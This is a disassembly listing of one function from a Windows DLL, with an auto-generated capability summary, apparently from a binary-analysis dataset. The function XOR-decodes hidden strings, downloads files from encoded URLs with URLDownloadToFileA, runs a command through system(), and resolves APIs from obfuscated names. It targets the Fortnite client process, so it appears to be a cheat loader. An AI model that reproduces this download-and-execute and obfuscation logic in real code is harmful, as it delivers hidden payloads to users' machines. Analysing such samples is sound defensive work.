Function at 0x18000af50
Capabilities:
Create thread
Download url
Encode data using xor
Enumerate processes
Execute command
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
sub rsp, 0x4a0
movaps xmmword [rax - 0x28], xmm6
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
call fcn.18000ad30
movups xmm0, xmmword [0x1800aeee0]
movzx eax, word [0x1800aeef8]
xor edi, edi
cmp byte [0x1800aeef9], dil
mov r14d, dword [0x18012ee40]
movups xmmword [rbp + 0x30], xmm0
mov word [rbp + 0x48], ax
movsd xmm0, qword [0x1800aeef0]
movsd qword [rbp + 0x40], xmm0
je 0x18000b142
mov r8d, edi
cmp r14d, 2
jl 0x18000b107
movdqa xmm0, xmmword [str.0000000000000000]
lea rcx, [rbp + 0x34]
movdqa xmm5, xmmword [0x1800af1f0]
movdqa xmm4, xmmword [0x1800af2b0]
movdqa xmm6, xmmword [str.4444]
movdqa xmmword [rbp + 0x20], xmm0
mov edx, dword [rbp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x18000b000
cmp r8d, 0x1a
jge 0x18000b142
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x18000b111
lea rdx, [rbp + 0x200]
mov r8d, edi
lea rdx, [rdx + 0x80]
lea rbx, [0x180000000]
lea rcx, [rbx + 0xaee20]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmmword [rdx + 0x20], xmm1
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0x38]
mov word [rdx + 0x38], ax
movzx eax, byte [rcx + 0x3a]
mov byte [rdx + 0x3a], al
cmp r14d, 2
jl 0x18000b31d
movdqa xmm0, xmmword [str.0000000000000000]
lea rcx, [rbp + 0x204]
movdqa xmm5, xmmword [0x1800af1f0]
movdqa xmm4, xmmword [0x1800af2b0]
movdqa xmm6, xmmword [str.4444]
movdqa xmmword [rbp + 0x20], xmm0
mov edx, dword [rbp + 0x20]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0xb8
jl 0x18000b210
cmp r8d, 0xbb
jge 0x18000b364
movsxd rax, r8d
lea r9, [rbp + 0x200]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xbb
jl 0x18000b330
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, [rbp + 0x30]
xor ecx, ecx
lea rdx, [rbp + 0x200]
call sub.urlmon.dll_URLDownloadToFileA
cmp byte [0x1800aefd3], dil
movups xmm0, xmmword [0x1800aefb8]
mov eax, dword [0x1800aefd0]
mov dword [rbp + 0x78], eax
movups xmmword [rbp + 0x60], xmm0
movsd xmm0, qword [0x1800aefc8]
movsd qword [rbp + 0x70], xmm0
je 0x18000b532
mov r8d, edi
cmp r14d, 2
jl 0x18000b4f7
movdqa xmm0, xmmword [str.0000000000000000]
lea rcx, [rbp + 0x64]
movdqa xmm5, xmmword [0x1800af1f0]
movdqa xmm4, xmmword [0x1800af2b0]
movdqa xmm6, xmmword [str.4444]
movdqa xmmword [rbp + 0x20], xmm0
mov edx, dword [rbp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x18000b3f0
cmp r8d, 0x1c
jge 0x18000b532
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x18000b501
lea rcx, [rbx + 0xaef00]
mov r8d, edi
lea rdx, [rbp + 0x140]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
mov byte [rdx + 0x36], al
cmp r14d, 2
jl 0x18000b70d
movdqa xmm0, xmmword [str.0000000000000000]
lea rcx, [rbp + 0x144]
movdqa xmm5, xmmword [0x1800af1f0]
movdqa xmm4, xmmword [0x1800af2b0]
movdqa xmm6, xmmword [str.4444]
movdqa xmmword [rbp + 0x20], xmm0
mov edx, dword [rbp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0xb0
jl 0x18000b600
cmp r8d, 0xb7
jge 0x18000b754
movsxd rax, r8d
lea r9, [rbp + 0x140]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xb7
jl 0x18000b720
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, [rbp + 0x60]
xor ecx, ecx
lea rdx, [rbp + 0x140]
call sub.urlmon.dll_URLDownloadToFileA
mov eax, dword [0x1800af008]
mov r8d, edi
mov dword [rbp + 0x110], eax
movzx eax, word [0x1800af00c]
mov word [rbp + 0x114], ax
movups xmm0, xmmword [str.s_vnd__RXOJfhENJZ_rp]
movups xmm1, xmmword [0x1800aefe8]
movups xmmword [rbp + 0xe0], xmm0
movups xmm0, xmmword [str.9_6__n]
movups xmmword [rbp + 0xf0], xmm1
movups xmmword [rbp + 0x100], xmm0
cmp r14d, 2
jl 0x18000b8f7
movdqa xmm0, xmmword [str.0000000000000000]
lea rcx, [rbp + 0xe4]
movdqa xmm5, xmmword [0x1800af1f0]
movdqa xmm4, xmmword [0x1800af2b0]
movdqa xmm6, xmmword [str.4444]
movdqa xmmword [rbp + 0x20], xmm0
mov edx, dword [rbp + 0x20]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x18000b7f0
cmp r8d, 0x36
jge 0x18000b941
movsxd rax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x18000b910
lea rcx, [rbp + 0xe0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.18000ad30
movabs rax, 0xe9045479a128a48d
lea rcx, [rbp + 0x90]
mov qword [rbp], rax
movabs r12, 0xa38e3387f356190d
mov rax, qword [rbp]
movabs r15, 0x8d2a664ad34dd7f8
mov qword [rbp + 0x90], rax
movabs rsi, 0xa38e3387f3567561
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x90]
mov qword [rbp + 0xc8], rax
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x90], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movabs rbx, 0xe9041378e023be8f
lea rcx, [rbp + 0xa0]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x68], rax
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0xa0], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movabs rax, 0xe86d142fa018a3b6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xe5f95ce39d3f2215
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xfdbeab51e061526f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xbc89cf832718e896
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xaed5c8308205370a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0xbc89a8ed4e6c9cf3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x60], ymm1
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r15
lea rcx, [rbp + 0x50]
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
vmovdqa xmm0, xmmword [rbp + 0x50]
mov qword [rbp + 0x38], rax
vxorps xmm0, xmm0, xmmword [rbp + 0x30]
vmovdqa xmmword [rbp + 0x50], xmm0
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18012f548], rax
test rax, rax
jne 0x18000bb80
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._Couldnt_Find_THe_Pointer_
call fcn.180002020
lea rdx, [0x1800027b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000bb87
mov qword [0x18012f550], rax
call fcn.18000ad30
cmp qword [0x18012f238], rdi
jne 0x18000bdd7
lea r15, str.FortniteClient_Win64_Shipping.exe
mov dword [rbp + 0x20], 0x344d517b
mov rax, rdi
mov dword [rbp + 0x24], 0x21372b2f
mov dword [rbp + 0x28], 0x1006665
nop dword [rax + rax]
lea ecx, [rax + 0x3d]
xor byte [rbp + rax + 0x20], cl
inc rax
cmp rax, 0xa
jb 0x18000bbc0
lea rdx, [rbp + 0x20]
mov byte [rbp + 0x2b], dil
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Waiting_For_Fortnite...
mov qword [0x18012f238], rax
call fcn.180002020
lea rdx, [0x1800027b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1800af060]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Waiting_For_Fortnite.
call fcn.180002020
lea rdx, [0x1800027b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1800af060]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Waiting_For_Fortnite..
call fcn.180002020
lea rdx, [0x1800027b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1800af060]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
mov ebx, edi
cmp rax, 0xffffffffffffffff
je 0x18000bd59
xor edx, edx
lea rcx, [rbp + 0x204]
mov r8d, 0x234
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x200]
mov dword [rbp + 0x200], 0x238
mov rcx, rsi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x18000bd50
lea rdx, [rbp + 0x22c]
lea rcx, [0x1800af0a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x18000bd02
mov ebx, dword [rbp + 0x208]
jmp 0x18000bd50
lea rdx, [rbp + 0x200]
mov rcx, rsi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x18000bd50
nop word [rax + rax]
lea rdx, [rbp + 0x22c]
lea rcx, [0x1800af0a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
lea rdx, [rbp + 0x200]
mov rcx, rsi
test eax, eax
cmove ebx, dword [rbp + 0x208]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x18000bd20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x18012f558], ebx
test ebx, ebx
je 0x18000bdc0
xorps xmm0, xmm0
mov eax, ebx
movups xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
mov qword [rbp + 0xe0], rax
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x128], r15
movups xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x138], 2
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
call qword [0x18012f550]
mov rax, qword [rbp + 0x130]
jmp 0x18000bdc3
mov rax, rdi
cmp qword [0x18012f238], rdi
mov qword [0x18012f230], rax
je 0x18000bba0
call fcn.18000c2f0
cmp qword [0x18012f230], rdi
jne 0x18000be62
mov eax, dword [str.uC_F]
lea r8, [rbp + 0xe]
movzx ecx, word [0x1800af01c]
lea rdx, [rbp + 8]
mov dword [rbp + 0xe], eax
mov r9d, 0x40
movzx eax, byte [0x1800af01e]
xor byte [rbp + 0xf], 0x31
xor al, 0x36
xor byte [rbp + 0x10], 0x32
xor byte [rbp + 0x11], 0x33
mov word [rbp + 0x12], cx
xor cl, 0x34
xor byte [rbp + 0x13], 0x35
mov byte [rbp + 0x14], al
mov eax, dword [str.uC_F5]
mov dword [rbp + 8], eax
movzx eax, word [0x1800af014]
xor byte [rbp + 9], 0x31
xor byte [rbp + 0xa], 0x32
xor byte [rbp + 0xb], 0x33
mov word [rbp + 0xc], ax
xor al, 0x34
xor byte [rbp + 0xd], 0x35
mov byte [rbp + 0x12], cl
xor ecx, ecx
mov byte [rbp + 0xc], al
mov byte [rbp + 0xe], 0x45
mov byte [rbp + 8], 0x45
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 8
call fcn.18004c808
test rax, rax
je 0x18000be7d
lea rcx, [0x180007310]
mov qword [rax], rcx
jmp 0x18000be80
mov rax, rdi
lea rcx, [rbp + 0x88]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x180002780]
xor ecx, ecx
mov dword [rsp + 0x20], edi
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x80], rax
test rax, rax
je 0x18000c2d1
cmp dword [rbp + 0x88], edi
je 0x18000c2c6
movaps xmm0, xmmword [rbp + 0x80]
lea rcx, [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x18000c2c6
movups xmm1, xmmword [str.dY_VUQ]
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movdqa xmmword [rbp + 0x80], xmm0
test al, al
je 0x18000c081
cmp r14d, 2
jl 0x18000c041
movdqa xmm0, xmmword [str.0000000000000000]
lea rcx, [rbp + 0x54]
movdqa xmm5, xmmword [0x1800af1f0]
mov edx, edi
movdqa xmm4, xmmword [0x1800af2b0]
movdqa xmm6, xmmword [str.4444]
movdqa xmmword [rbp + 0x20], xmm0
mov r8d, dword [rbp + 0x20]
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1800af210]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
